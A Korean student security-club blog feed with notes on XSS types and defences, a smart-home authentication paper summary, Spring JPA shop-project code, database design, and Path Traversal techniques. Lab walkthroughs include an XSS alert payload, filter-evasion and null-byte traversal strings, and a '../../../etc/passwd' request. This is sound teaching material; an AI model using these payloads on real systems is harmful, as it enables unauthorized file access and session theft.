각 유형에 따라 전달 경로와 탐지,완화 방법 다름

1. Reflected (반사형)

2. Stored (저장형)

3. DOM-based (DOM형)

공격자는 작은 스크립트나 이벤트 핸들러를 주입해 피해자 브라우저에서 임의 자바스크립트를 실행하게 하고,

세션, 쿠키, 폼 데이터 탈취, UI변조, 피해자 권한으로의 임의 요청 수행 등 다양한 악용 가능

Reflected XSS

: 애플리케이션이 HTTP 요청으로 받은 데이터를 안전하지 않게 즉시 응답에 포함할 때 발생

- 사용자가 수행할 수 있는 모든 동작 수행 가능

- 사용자가 볼 수 있는 모든 정보 열람 가능

- 사용자가 수정할 수 있는 모든 정보 변경 가능

- 피해자를 가장한 상태로 다른 사용자와의 상호 작용 시작 가능(ex. 악성메시지 전송)

- 공격을 전달하기 위해 외부의 전달 수단(링크, 이메일, 트윗 등) 필요 -> 자체적으로 애플리케이션 내부에서 사용자 전체에 자동으로 퍼지는 Stored XSS보다 보통 영향도가 낮게 평가됨

- 사용자가 로그인 상태일 때 공격 가능

Stored XSS

: 애플리케이션이 신뢰할 수 없는 출처로부터 받은 데이터를 저장(ex. DB)하고, 이후의 HTTP 응답에서 그 저장된 데이터를 안전하지 않게 포함할 때 발생

- 공격자가 피해자 브라우저에서 실행되는 스크립트를 제어할 수 있다면, 그 사용자를 실질적으로 완전 장악 가능

- 공격자가 악성코드를 애플리케이션 자체에 저장 -> 추가 전달 수단 없이 사용자들이 해당 페이지를 열기만 하면 자동으로 공격 실행

- 한번 저장해두면 사용자가 나중에 해당 페이지를 열어서 항상 공격에 노출됨

DOM based XSS

: 자바 스크립트가 사용자 제어 가능한 입력(source)를 받아 InnerHTML, document.write, eval() 등의 위험한 함수(sink)로 전달할 때 발생

+) DOM(Document Object Model): 웹 페이지의 HTML 구조를 객체 형태로 표현한 것

- 서버 응답이 아니라 클라이언트 측(JavaScript)에서만 발생

- 주로 window.location, document.cookie, localStorage 등에서 입력을 가져옴

- 반사형/저장형과 달리 서버 로그에 흔적이 남지 않음

- 공격흐름

1. URL 등에서 데이터 입력

2. 자바 스크립트가 그대로 DOM에 출력

3. 브라우저에서 악성 JavaScript(JS) 실행

XSS로 할수 있는 일

- 사용자를 사칭하거나 세션 탈취

- 사용자의 권한으로 명령 수행

- 로그인 정보 탈취

- 웹사이트 변조(Defacement)

↓

방어 방법

모든 입력 -> 검증 -> 인코딩 -> 안전출력

- 입력 인코딩

- 출력 인코딩

- 적절한 헤더 설정

- CSP(Content Security Policy)

게시글/댓글 저장 기능을 이용한 Stored XSS 실습

1. ACCESS THE LAB 클릭

2. 해당 페이지 URL 복사

3. Target -> Scope -> Add 해서 복사한 URL 추가

4. Proxy -> Http history, Filter settings 클릭 -> 아래와 같이 설정(Apply & Close)

5. 아래로 내려서 View post 클릭

6. 하단 댓글 작성 후 intercept on 한 뒤 Post Comment 클릭

7. Comment 부분에 내가 작성한 댓글 확인 가능

8. Comment 부분에 스크립트 코드 작성 후 forward

9. intercept off 하면 성공메시지 확인 가능

검색 파라미터 변조를 통한 Reflected XSS 실습

1. ACCESS THE LAB 클릭

2. 아무 검색어나 입력한 후 intercept on 한 채로 Search

3. GET 요청의 Request창에서 search 부분에서 내가 입력한 검색어를 볼 수 있음

4. search 부분에 페이로드 <script>alert(1)</script> 작성 후 forward

5. intercept off 하면 alert 창이 뜸

6. 확인을 누르면 성공메시지가 뜨는걸 볼 수 있음

[3] 논문분석 [스마트홈 보안을 위한 역할 기반 다중 인증 시스템 구현]

batterygj — Tue, 12 May 2026 10:23:55 +0900

https://www.kci.go.kr/kciportal/landing/article.kci?arti_id=ART002751380

스마트홈 보안을 위한 역할 기반 다중 인증 시스템 구현

한국차세대컴퓨팅학회 논문지, 2021, 17(4), 59

www.kci.go.kr

KCI_FI002751380.pdf

2.06MB

논문 선정 이유

인간의 생활을 편안하게 만들어주는 스마트홈이 점점 주목을 받고있고 보편화가 되어가고 있기때문에 스마트홈 보안도 중요성이 올라가게 되었다. 보안을 위해 어떤 시스템을 사용하고 있는지 알아보다가 MFA 시스템이 도입된 방안을 알아보기 위해 선정하게되었다.

1. 서론

기기 간 연동에 초점을 맞춘 스마트홈 1.0 시대를 넘어 다양한 스마트홈 서비스가 집안에 파고들면서 집이 곧 플랫폼이 되는 스마트홈 2.0시대를 맞음

스마트홈: 분산컴퓨팅 기반

분산 컴퓨팅 환경에서 공유하는 자원이나 정보가 증가

-> 허가되지 않은 정보의 접근이 발생, 정보의 불법적 사용으로 인한 정보의 누출 발생

-> 사용자 인증이나 사용자 작업에 대한 접근 통제 정책을 통한 정보보안의 필요성 증가

스마트홈 게이트웨이: internet과 home network 중간에서 서비스를 원활하게 중계하고 가정용 기기사이의 중계 역할을 함

스마트홈 네트워크 관리체계는 대부분 일반적 사용자 인증 방식인 아이디,패스워드를 이용한 접근제어 방식 사용(취약점 존재)

-> 다중인증 시스템을 구현하여 시스템 내외부가 보호될 수 있는 방안을 구현

(전자서명을 이용: 외부 망으로부터 접근에 대한 보안 강화

역할 기반의 MIB 구조를 이용: home network 망 내부에서도 안전한 권한 제어 가능)

2. 관련 연구

2.1 접근통제 정책

: 식별 또는 인증된 사용자가 허가된 범위 안에서 시스템 내부 정보로의 접근을 허용하는 방법

많이 사용되는 접근 통제 정책

강제적 접근통제(MAC): 정보의 보안등급과 사용자나 그가 속한 그룹에 의해 접근 통제
임의적 접근통제(DAC): 해당 정보의 소유자에 의해 접근통제 관계가 정의
역할 기반 접근 통제(RBAC): 시스템 내에 필요한 역할과 그 역할이 수행할 수 있는 권한을 정의하고 각 사용자에게 역할을 할당함으로써 각 객체의 접근을 통제

2.2 역할 기반 접근 통제 모델

시스템 보안 관리자만 역할 권한 관계 설정 변경 가능
역할은 조직의 접근 정책에 따라 다른 역할과의 상관관계를 가지고 계층구조로 표현됨(유사 권한끼리는 그룹으로 관리)
상위역할은 하위역할의 권한을 상속받음
기본 구성 요소: 사용자(user), 역할(role), 권한(permission)
사용자-역할(UR)관계, 역할-권한(RP)관계, 역할-역할(RR)관계 존재

3. 역할 기반 다중 인증 시스템

3.1 시스템 구성

역할 기반의 MIB구현

중앙집중방식의 보안 관리 기능
다중인증 시스템 이용

3.2 시스템 구성요소와 기능

시스템 관리자: 입력된 아이디, 패스워드, 전자서명을 이용한 접속요청을 받아 값의 진위여부를 사용자검증DB로부터 파악해 정당한 사용자의 접속요청에 대한 승인 여부 결정
시스템 응용: 접속요청에 대한 인터페이스 제공. 아이디, 패스워드, 전자서명을 요구하여 정당한 사용자의 접속 요청에 대해서만 응답
보안 관리 시스템: 정상적인 사용자로 확인되었다면, 시스템 서버의 MIB로부터 접속된 사용자에 대한 정보와 접속된 사용자별 권한 정보를 조회 -> 사용자별 권한 등급 설정 후 권한 부여
보안 관리 MIB 응용: 권한 부여의 처리결과로 접속된 사용자의 사용 권한 등급에 따라 사용 가능한 서비스 내역에 대한 인터페이스 제공

3.3 시스템 적용 모델

상위역할은 하위역할 권한 수행 가능(역할 계층이 가지는 상속성)
하위역할이 상위역할의 권한을 일시적으로 수행하기 위한 동적 역할 할당 제안: 능동적(역할 할당자=수여자), 수동적(역할 할당자!=수여자)으로 구분

능동적 역할 할당 프로토콜
부정책임 모드, 예외 상황에 대한 권한을 가짐
해당 권한을 수행하기 위한 예외 상황이 발생한 후에 부정 책임모드 수행 가능. (부정 책임을 긍정 모드로 전환하면서 권한을 수행)

수동적 역할 할당 프로토콜
역할 기반 접근 통제 모델 + 임의적으로 권한을 역할 할당
역할 권한 관계에 대상 역할의 권한이 명시되지 않은 경우

- 동일 그룹 내: 하위 역할이 상위 역할 권한을 동적으로 할당 받음

- 그룹 간 : 서로 다른 그룹 간의 정의된 연산 관계에 의해 권한 할당

4. 시스템 검증

4.1 웹 기반 시스템 구현

제안 시스템은 웹 상에서 회원가입을 통해 서비스를 받는 형식

(아이디, 패스워드, 인증서 이용 유무를 이용).

-> 공격 시나리오를 통한 검증으로 안전성 확인

4.2 시험 환경

아래의 3가지 대표적 공격방법으로 가상의 침입 공격에 대한 차단 여부를 확인(안전한 홈 네트워크 환경 유지 가능한지)

홈 네트워크 환경의 보안 고려사항에 대처방안

다중인증에 의해 사용자의 접근에 대한 보안 강화
내부에서 허가되지 않은 항목에 대한 접근을 역할 기반의 관리구조로 제어 -> 중요한 정보의 포함 또는 우선 순위에 따라 지정된 항목을 제어 할 수 있는 권한을 사요자에 따라 다르게 부여

4.3 공격 시나리오

+) 기존 방법: ID/PW

제안 방법: ID/PW + DS

방법1. 네트워크 패킷 도청 공격

- 기존 방법 : 도청 공격 성공. 전송되는 패킷 내용 나타남

- 제안 방법(ID/PW + DS) : 도청 공격에 안전

방법2. 사전 공격에 대한 비교

- 기존 방법: 사전 공격 성공

- 제안 방법: 사전 공격에 안전

방법3. 백도어 공격에 대한 비교

- 기존 방법: 백도어 공격 성공

- 제안 방법: 백도어 공격에 안전

4.4 시험 결과

- 기존 방식이 보안 취약성 공격에 심각한 위험이 있음

- 제안된 역할 기반 다중 인증 기법에 의한 접근 방식: 아이디, 패스워드가 노출된 경우에도 보안상 문제가 발생하지 않았음

5. 결론

- 사용자와 홈 네트워크 환경이 정보를 공유하며 위협으로부터 안전하게 서비스를 받을 수 있는 보안이 필요하다고 전제.

- 역할 기반의 다중 인증 시스템(아이디,패스워드 + 전자서명)을 제안하여 홈 네트워크 환경을 위한 보안을 강화하고자 함

- 역할 기반 MIB 모델을 이용-> 홈 네트워크 환경에서 작업 및 정보 취득 권한을 제한해 보다 안전한 홈 네트워크 환경 관리 기대

용어 정리

MIB: Management Information Base. 네트워크 관리 모델에서 관리 대상 장비의 상태나 설정을 정의해 놓은 데이터베이스 설계도
MAC: Mandatory Access Control
DAC: Discretionary Access Control
RBAC: Role Based Access Control
DS: Digital Signature. 전자서명

배운점 및 느낀점

하위 권한이 상위 권한을 일시적으로 가지는 동적 역할 할당이 일반적 역할 기반 접근 제어의 고정된 권한 체계로 인한 업무 효율의 감소를 극복하기 위한, 보안 유연성 확보를 위한 방안이라는 것을 알게 되었다.

(평상시에는 엄격한 보안을 유지하되, 특수 상황에서 시스템의 중단 없이 유연하게 권한을 조절하기 위함)

기존의 ID,PW만 사용하던 방식에 비해 기존 방식에 전자서명 하나만 추가한, 이 논문에서 제안된 방식은 네트워크 패킷 도청 공격, 사전 공격, 백도어 공격 등에 대해 보안성이 뛰어나다는 것을 알 수 있다.
이를 통해 다중 인증의 강력한 방어 성능을 실감하게 되었다.

보안 관리 시스템은 접속한 사용자의 정보와 권한 정보를 조회한 후 사용자 별 권한 등급 설정 후 그에 맞는 권한을 사용자에게 부여하는 방식으로 운영되는데 이를 통해 외부자에 의한 보안 위협 뿐만 아니라 내부자에 의한 정보 유출이나 오작동 또한 방어할 수 있는 계층적인 보안 설계의 필요성을 깨닫게 되었다.

[4주차] member entity, order entity, cart entity 설계 / 포스트맨 실습

batterygj — Sun, 10 May 2026 19:00:00 +0900

1. Member Entity 설계

member.json 코드

@Entity  // JPA 엔티티임을 선언(자바클래스를 DB테이블로 인식시킴)
@Table(name="member") // 엔티티 클래스가 데이터베이스의 member테이블과 매핑되도록 명시
@Getter @Setter  // 자바빈즈 패턴에 따라 필드에 접근하고 값을 수정할 수 있는 메서드를 컴파일 시점에 자동 생성
public class Member {
    @Id // 해당 필드(Id)를 테이블의 Primary Key(기본키)로 지정
    @Column(name="member_id")  //실제 데이터베이스 테이블의 컬럼명을 member_id로 매핑
    @GeneratedValue(strategy = GenerationType.IDENTITY) // 기본키 생성전략 설정. IDENTITY는 기본키 생성을 DB에 위임하는 방식
    private Long id;

    private String name; // 별도의 어노테이션이 없으면 필드명이 그대로 테이블의 컬럼명으로 매핑됨
    @Column(unique=true) // 바로 아래에 있는 필드에만 unique 제약조건을 걺. 여기서는 중복 이메일값 들어오는 것 방지
    private String email;
    private String password;
    private String address;

    @Enumerated(EnumType.STRING) // 자바의 Enum 타입을 문자열로 데이터베이스에 저장(ENUM 순서가 바뀌어도 데이터 꼬이지 않음)
    private Role role;

    @CreatedDate // 엔티티가 생성되어 저장될 때의 시간을 자동으로 주입
    private LocalDateTime createdBy;
    @LastModifiedDate // 엔티티값을 변경할 때 마지막으로 수정된 시간을 자동으로 업데이트
    private LocalDateTime modifiedBy;

constant/Role 코드

public enum Role {
    USER, ADMIN
}

-> 프로젝트 전체에서 공통으로 사용할 상태값 정의. USER, ADMIN 두 종류의 상태값을 사용한다는 선언

+) enum : enumeration. 관련된 상수(정해진 값)들을 모아놓은 특별한 클래스임을 선언

Role: 이 열거형의 이름

2. Order Entity 설계

@Entity // 자바클래스를 DB테이블로 인식시킴
@Table(name="orders") // DB에 생성될 테이블의 이름을 orders로 지정
@Getter  // 클래스 상단에 private Long id; 이런 어노테이션 있으면 컴파일 시점에 getId() 자동 생성
public class Order {
    @Id // Id가 이 테이블의 PK
    @Column(name="order_id") // 객체 변수명은 id이지만 DB 컬럼명은 order_id로 씀
    @GeneratedValue(strategy = GenerationType.IDENTITY) // PK생성 권한을 DB에 넘김
    private Long id;

    @ManyToOne // 다대일관계
    @JoinColumn(name="member_id")  // 이 설정이 적힌 orders 테이블에 member_id라는 이름의 컬럼이 생성됨. member 테이블의 PK값 저장
    private Member member;
}

+) Order 객체 입장에서 여러주문이 한명의 회원에게 연결되므로 다대일 관계

FK : 외부 키

3. Car Entity 설계

@Entity
@Table(name="carts")  // DB에 생성될 테이블이름을 carts로 지정
@Getter // 모든 필드에 대해 데이터를 읽는 메서드를 자동 생성
@Setter // 모든 필드에 대해 데이터를 수정하는 메서드를 자동 생성
public class Cart {
    @Id
    @Column(name="cart_id")  // 실제 DB컬럼명을 cart_id로 매핑
    @GeneratedValue(strategy=GenerationType.IDENTITY)  // PK 생성방식 DB에 위임
    private Long id;

    @ManyToOne  // 다대일관계(한 회원이 여러 시점의 장바구니를 가질 수 있음)
    @JoinColumn(name="member_id")  // carts 테이블 안에 member_id라는 외래 키(FK) 컬럼을 만듦. 이 컬럼이 Member 테이블의 PK와 연결되는 통로가 됨
    private Member member;

    @CreatedDate  // 장바구니가 처음 생성된 시간을 createBy 필드에 자동 기록
    private LocalDateTime createdBy; 
    @LastModifiedDate  // 장바구니 정보가 마지막으로 수정된 시간을 modifiedBy 필드에 자동 기록
    private LocalDateTime modifiedBy;
}

DB 확인

mysql -u root -p

show databases;

use swlug26test;

show tables;

desc [table명];

member service

@Service // 비즈니스로직을 수행하는 서비스 객체임
@RequiredArgsConstructor // 의존성 주입을 위함. final이 붙은 필드를 매개변수로 갖는 생성자를 자동으로 만듦
public class MemberService {

    private final MemberRepository memberRepository; // 서비스가 DB에 접근하기 위해 사용하는 도구

    // CREATE
    public Member save(Member member) {  // 1.저장할 회원 정보를 담은 member객체를 외부로부터 받음
        member.setCreatedBy(LocalDateTime.now());  // 2.엔티티의 시간필드에 현재 시간을 대입하여 가공
        return memberRepository.save(member); // 3.가공된 데이터를 DB에 저장
    }

    // READ (전체 조회)
    public List<Member> findAll() {  // DB에 저장된 회원정보를 모두 찾아 list로 반환
        return memberRepository.findAll(); //3.모든 데이터를 다 가져옴
    }

    // READ (단건 조회)
    public Member findById(Long id) {
        return memberRepository.findById(id)
                .orElseThrow(() -> new IllegalArgumentException("회원 없음"));
    } // 2.DB에서 찾았는데 없으면 에러를 발생시키는 예외처리 로직 수행 3.특정 ID데이터 찾아서 가져옴

    // UPDATE
    public Member update(Long id, Member updatedMember) { //1.누구(id)를 무엇으로(updateMember)로 고칠지 입력받음
        Member member = findById(id); //2.기존데이터를 DB에서 먼저 꺼내서
        member.setName(updatedMember.getName());
        member.setEmail(updatedMember.getEmail());
        member.setAddress(updatedMember.getAddress());
        member.setPassword(updatedMember.getPassword());
        member.setRole(updatedMember.getRole());
        member.setModifiedBy(LocalDateTime.now()); // 2.원본 객체(member)에 새로운 정보들을 하나씩 대입(수정)
        return memberRepository.save(member);  // 3.수정이 끝난 객체를 다시저장하여 DB 업데이트
    }

    // DELETE
    public void delete(Long id) {  // 지우고 싶은 회원 id를 받음
        memberRepository.deleteById(id);  // 해당 id의 데이터를 삭제
    }

+) private final MemberRepository memberRepository; 에서 final

: 서비스가 작동하는 동안 이 도구가 바뀌지 않도록 안전하게 고정

+) 서비스의 역할(3단계흐름)

1. 데이터 수령(매개변수로 값을 받음)

2. 로직 처리(데이터 가공 및 검증)

3. Repository 명령(DB작업 수행 요청)

member repository

: 회원정보를 다루는 기본 도구들을 상속받으면서, 이메일로 회원을 찾는 기능을 추가한 인터페이스

public interface MemberRepository extends JpaRepository<Member, Long> {
    Optional<Member> findByEmail(String email);
}

extends JpaRepository<Member, Long> : member service에서 썼던 save(), findAll(), findById() 등의 기본 기능을

바로 사용 가능

Optional<Member> findByEmail(String email) : 이메일로 회원을 찾았을 때 존재하면 그 회원을 돌려주지만, 없으면 비어있는 상태로 돌려주어 에러(Nullpointerexception을 안전하게 방지)

member controller

@RestController  // 응답을 HTML형태가 아닌 JSON형태로 주겠다고 선언
@RequiredArgsConstructor  // 서비스(memberService)를 자동으로 연결해줌
@RequestMapping("/members")  // 이 클래스의 모든 기능은 /members 주소로 시작
public class MemberController {

    private final MemberService memberService;

    // CREATE
    @PostMapping  // HTTP POST 요청 (데이터 등록 시 사용)
    public Member create(@RequestBody Member member) {
        // @RequestBody: 사용자가 보낸 JSON 데이터를 객체로 변환해서 받음
        return memberService.save(member);
    }

    // READ (전체)
    @GetMapping // HTTP GET 요청 (데이터 조회 시 사용)
    public List<Member> getAll() {
        return memberService.findAll();
    }

    // READ (단건)
    @GetMapping("/{id}")
    public Member getOne(@PathVariable Long id) {  // 주소창에 적힌 {id} 숫자를 변수로 받음
        return memberService.findById(id);  // id로 회원을 찾아 정보를 반환
    }

    // UPDATE
    @PutMapping("/{id}") // HTTP PUT 요청 (데이터 수정 시 사용)
    public Member update(@PathVariable Long id, @RequestBody Member member) {
        return memberService.update(id, member);
    } // 누구(id), 어떻게 고칠지(member)를 동시에 받아 update를 실행해 수정완료된 객체 전송

    // DELETE
    @DeleteMapping("/{id}")  // HTTP DELETE 요청 (데이터 삭제 시 사용)
    public String delete(@PathVariable Long id) {
        memberService.delete(id);
        return "삭제 완료";
    }
}

포스트맨 실습

-> Intelli J 실행한채로 포스트맨 실행

package com.swlug26test.shop;

import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;

@SpringBootApplication
public class ShopApplication {

	public static void main(String[] args) {
		SpringApplication.run(ShopApplication.class, args); //실제 서버를 구동시키는 명령
	} // Spring 로고가 뜨고, 8080 포트가 열리면서 포스트맨의 요청을 받을 준비가 됨

}

- 회원 생성 ( POST http://localhost:8080/members )

1. controller : 회원 생성 요청을 인식하고 사용자가 JSON으로 보낸 데이터를 자바 객체로 변환해서 받음

(@PostMapping, @RequestBoy가 담당)

2. entity : 회원 데이터가 DB에 어떤 형태로 쌓일지 정의한 클래스

3. service : 필요한 데이터 가공

(modifyedBy, createdBy를 LocalDateTime.now()로 세팅)

4. repository : 자바 객체를 DB가 알아들을 수 있는 SQL로 바꿔 전달

- 전체 조회 ( GET http://localhost:8080/members )

1. controller : service에게 목록을 가져오라 명령. 결과물인 list를 json형태로 바꿔 응답

2. entity : DB에서 꺼내온 수많은 데이터를 자바 객체(Member)형태로 담음

3. service : repository가 가져온 데이터를 컨트롤러에게 전달(필요시 목록을 전달하거나 필터링하는 로직을 넣음)

4. repository : findAll() 메서드를 통해 DB에 SELECT * 쿼리를 보내 모든 회원 정보를 가져옴

- 단건 조회 ( GET http://localhost:8080/members/1 )

1. controller : URL 끝에 붙은 /1을 @PathVariable로 추출해 특정 id값을 service에 전달

2. entity : 찾으려는 딱 한명의 정보만 담은 객체가 됨

3. service : repository의 fiindById를 호출. 해당id가 없으면 회원 없음 같은 예외 처리 수행

4. repository : DB에서 해당 id를 가진 행 하나만 가져옴

- 수정 ( PUT http://localhost:8080/members/1 )

1. controller : PUT메서드와 수정할 데이터, 타겟 id(/1)를 동시에 받아 service에 넘김

2. entity : 기존 데이터를 불러와서 새로운 값으로 덮어쓰기 당함

3. service : 기존 데이터를 DB에서 꺼냄

-> 꺼낸 데이터에 새로운 값을 set

-> setModifiedBy(LocalDateTime.now())를 실행해 수정 시각 기록

4. repository : 수정된 객체를 다시 DB에 반영

- 삭제 ( DELETE http://localhost:8080/members/1 )

1. controller : DELETE 신호를 받고 작업이 끝나면 사용자에게 '삭제 완료'라는 문자열 메시지 보냄

2. entity : DB에서 영구적으로 지워질 대상

3. service : repository의 deleteById를 호출해 삭제 명령

4. repository : DB에 DELETE FROM ... 쿼리를 보내 해당 데이터를 삭제

[4주차] Path Traversal

batterygj — Sun, 10 May 2026 01:35:59 +0900

Path Traversal

:경로 탐색 = directory traversal

: 공격자가 웹 애플리케이션의 보안 메커니즘을 우회하여

서버의 파일 시스템 내에 의도되지 않은 파일이나 디렉토리에 접근하는 보안 취약점

Path Traversal 3요소

1. Target : 외부 입력값이 파일 경로에 직접 포함되지 않는 지점(예시에서 user_input 같은 걸 말함)

(공격자가 노리는 코드상 취약한 로직. 서버가 user_input 자리에 들어오는 내용을 검증하지 않고

그대로 믿는다는 것이 공격의 핵심 타깃이 됨)

=> base_path(파일 기본위치) + user_input(입력값) = final_path(전체 경로)

ex) /var/www/user_data/ + "my_photo.jpg" = /var/www/user_data/my_photo.jpg

2. Tool : 상위 디렉터리 이동 문자 (..) -> 상위로 올라갈수록 접근할 수 있는 범위 넓어짐

3. Result : 허가되지 않은 시스템 내부자원 노출

ex) 시스템 파일인 /etc/passwd(계정 정보), /etc/hosts(네트워크 정보) 등이 공격자에게 노출됨

Path Traversal 공격 기법

1. 인코딩 우회

서버에 ../ 문자열을 차단하는 필터가 있을 때 이를 다른 문자로 변조하여 필터를 통과한 뒤, 서버 내부에서 다시 해석되게 만드는 기법

2. 필터링 로직 무력화

개발자가 단순히 사용자의 입력값에서 ../라는 글자를 찾아서 삭제하도록 코딩해쓸때 발생하는 취약점

-> 서버가 ../를 찾아 공백으로 지운다면, 공격자는 ....//를 보냄

3. 널 바이트 주입(Null Byte Injection)

서버 코드 뒷부분에 강제로 특정 확장자( ex. .jpg )가 붙도록 설계된 경우, 그 뒷부분을 잘라내어 원하는 파일만 읽는 기법

+) 널 바이트: %00 -> 컴퓨터가 %00 전까지만 인식하도록 함

ex) ?file=../../etx/passwd%00.jpg -> 컴퓨터에서는 ?file=../../etx/passwd 로 인식

실습 https://webhacking.kr/challenge/web-19/

1. Burp Suite에서 intercept off 한채로 open browser 해서 위의 링크 접속

2. intercept on 하고 txt 파일 하나 업로드 ( 이 실습에서는 swlug.txt 파일 )

3. Request에서 filename을 아주 길게 변경하고 forward

4. ./ 뒤부터 원래의 파일명인 swlug 바로앞까지 복사해서 url에 붙여넣고 빈 txt 파일 하나 선택한 후 .txt를 뗀 파일명만 url에 붙여넣음

그 후 업로드 ( 이 실습에서는 flag.txt 파일 )

5. intercept off하면 FLAG가 뜸

6. 찾은 FLAG를 webhacking.kr에서 auth누르고 넣으면 성공메시지가 뜸

+) arbitrary: 임의의

Credentials: 자격증명

+) append: 덧붙이다

implement: 구현하다

API: application programming interface. 프로그램들이 서로 소통하는 접점

retrieve: 검색하다, 가져오다. 저장된 데이터를 다시 불러옴

consecutive: 연속적인

1. ACCESS THE LAB 클릭

2. 아무 상품이나 vies details 클릭

3. 이 상태에서 intercept on 한 후 forward누르면서 GET요청 중 image?filename= ... 이 형태 찾기

4. 해당 요청을 Send to Repeater 한 후 filename에서 52.jpg 부분을 ../../../etc/passwd로 수정(경로조작)하고 Send

5. 다음과 같이 민감정보가 추출된 것을 볼 수 있음

root : x : 0 : 0 : root : / root : / bin / bash 에 username, password, 사용자id 등이 포함되어있음

6. intercept off를 하면 congratulations 배너가 뜸

[3주차] DB 설명 및 설계 & 프로젝트 실습 1차

batterygj — Wed, 6 May 2026 17:05:12 +0900

MYSQL	MongoDB
관계형 데이터베이스	NoSQL 데이터베이스
row	document
table	collection
database	database

- row, document : 가장 작은 데이터 단위

- table, collection : 관련 있는 데이터를 모아둔 그룹

- 가장 큰 단위: database

테이블 설계 방법

01. 데이터 유형

1. 숫자형(int, double)

2. 문자형(char, varchar)

+) char은 고정 길이, varchar은 가변 길이

3. 날짜 및 시간 타입 (date, datetime, timestamp)

02. 컬럼의 속성

: 각 컬럼에 추가적으로 설정할 수 있는 제약 조건으로 *데이터 무결성을 지키기 위한 것

* 데이터의 정확성, 일관성, 유효성이 유지되는 것을 보장

1. Primary key(PK)

각 행을 식별하는데 사용되는 고유한 식별자

2. Foreign key(FK)

다른 테이블의 기본 키와 관계를 나타내는 컬럼

3. Unique 속성

중복된 값을 허용하지 않음

4. Not NULL

NULL 값을 허용하지 않음

5. default

자동으로 할당되는 값

03. 관계의 유형

*JOIN : 둘 이상의 테이블에서 데이터를 조회하기 위한 방법

일대일 관계 : 하나의 A는 하나의 B를 갖는다, 하나의 B는 하나의 A를 갖는다

다대일 관계 : 하나의 A는 여러개의 B를 갖는다. 하나의 B는 하나의 A를 갖는다.

다대다 관계 : 하나의 A는 여러개의 B를 갖는다. 하나의 B는 여러 개의 A를 갖는다.

04. SQL

1. SELECT - 데이터 조회

SELECT * FROM student;  // student 테이블에서 모든 컬럼(*)의 데이터를 가져옴

2. INSERT - 새로운 데이터를 테이블에 삽입할 때 사용

INSERT INTO student (id, name, major) VALUES (1, '김건지', '정보보호학과');

3. DDL CREATE - 새로운 데이터베이스 객체를 생성할 때 사용. 아래의 경우는 테이블 생성

CREATE TABLE student(
	id int AUTO_INCREMENT PRIMARY KEY,
	name VARCHAR(255) NOT NULL,
	major VARCHAR(255) NOT NULL,
);

+) id 컬럼: 정수타입, 데이터 추가 시 자동 증가(AUTO_INCREMENT), 고유 식별자(PRIMARY KEY)

+) name, major컬럼: 최대 255자의 가변 문자열(VARCHAR), 빈 값 허용 안함(NOT NULL)

실습)) 데이터베이스 “swlug26”를 만들고, swlug26에 “student” 테이블을 만들어주세요. ‘student”릴레이션의 카디널리티는 2로 하고, 릴레이션의 차수는 3으로 속성은 자유롭게 해주세요.

--swlug26 데이터베이스 생성
CREATE DATABASE swlug26;
--swlug26 데이터 베이스 선택
SHOW DATABASES;
USE swlug26;
--student 테이블 생성
CREATE TABLE student(
	id int AUTO_INCREMENT PRIMARY KEY,
	name VARCHAR(255) NOT NULL,
	major VARCHAR(255) NOT NULL,
);
-- 데이터 삽입
INSERT INTO student (id, name, major) 
VALUES (1, '김세은', '정보보호학과');
VALUES (2, '김건지', '정보보호학과');

05. CRUD

:데이터의 처리를 관리하는 4가지 기본연산

1. Create: 새로운 데이터 추가

2. Read: 저장된 데이터 검색

3. Update: 저장된 데이터 편집

4. Delete: 저장된 데이터 삭제

06. User Table 설계

1. 필요한 데이터가 무엇인지

: 이름, 아이디, 비밀번호

2. 데이터의 유형

이름 - 문자열

아이디 - 문자열

비밀번호 - 문자열

3. 속성 체크

이름, 아이디, 비밀번호 - 필수(Not NULL)

아이디 - 중복방지(unique)

	데이터 타입	NULL 허용	추가 속성
id	int	FALSE	Auto_increment
name	varchar	FALSE
userId	varchar	FALSE	unique
password	varchar	FALSE

프로젝트 실습 1차 - 쇼핑몰 프로젝트

01. 상품 등록 및 조회

02. 장바구니

03. 주문하기

04. 회원가입 / 로그인

( REST API 사용 예정 ):REST라는 규칙(자원을 이름으로 구분하여 그 상태정보를 주고받는 아키텍쳐)을 지키면서 서버의 데이터를 가져오거나 수정할 수 있도록 함

1. Spring Initializr 페이지 접속 후 프로젝트 세팅

2. 프로젝트 생성 후 다운로드 / 압축 풀기

3. IntelliJ -> open -> 다운받은 파일 선택

4. 프로젝트 생성 완료

+) Spring Initializr를 통해 생성하였기 때문에 자동 구성 기능을 실행해주는 @SpringBootApplication이 추가되어있음

5. 레포지토르 fork 받기

DB 생성

1. 터미널 -> mysql

2. database 생성

#database 생성
create database [데이터베이스명];

#생성된 database 확인
show databases;

3. 디렉터리 생성 후 코드 작성

: resources 디렉토리 하위에 application.properties 파일 생성 후 설정 파일 코드 작성

spring.application.name=shop  // 애플리케이션의 이름을 shop으로 지정

#MYSQL
spring.datasource.driver-class-name=com.mysql.cj.jdbc.Driver
spring.datasource.url=jdbc:mysql://localhost:3306/{DB명}?sercerTimezone=UTC
spring.datasource.username={username}
spring.datasource.password={password}

#실행 쿼리 출력
spring.jpa.properties.hibernate.show_sql=true

#쿼리 포맷 설정
spring.jpa.properties.hibernate.format_sql=true

#바인드 파라미터 출력
logging.level.org.hibernate.type.descriptor.sql=trace

#데이터베이스 초기화 전략 - DDL AUTO 옵션
spring.jpa.hibernate.ddl-auto=create

#데이터베이스 방언 설정
spring.jpa.database-platform=org.hibernate.dialect.MySQL8Dialect

+) driver-class-name ; 자바와 MYSQL을 이어주는 통역사(Driver)지정

localhost : 3306 ; 내 맥북 내부 주소

ddl-auto=create ; 애플리케이션이 시작될 때 기존 테이블을 다 삭제(Drop)하고, 엔티티 코드를 바탕으로 새 테이블을 생성(Create)

database-platform ; MYSQL 8 버전 특유의 SQL문법을 사용하도록 지정

DDL AUTO 옵션

: 엔티티 객체를 참고하여 애플리케이션 실행 시점에 nibernate에서 자동으로 DDL을 만들때 옵션

+) 엔티티: Entitiy. 데이터베이스의 테이블과 1:!로 대응되는 자바 클래스

DDL: Data Definition Language

- none : 아무것도 하지 않음(실제 배포시)

- create : 기존 테이블 삭제 후 테이블 생성

- create-drop : 기존 테이블 삭제 후 테이블 생성 + 종료시 테이블 삭제

- update : 변경된 스키마 적용하여 데이터 유지

-validate : 엔티티와 테이블 정상 매핑 확인

4. 정상실행 확인

깃허브 계정

[3주차] Command injection

batterygj — Mon, 4 May 2026 21:39:38 +0900

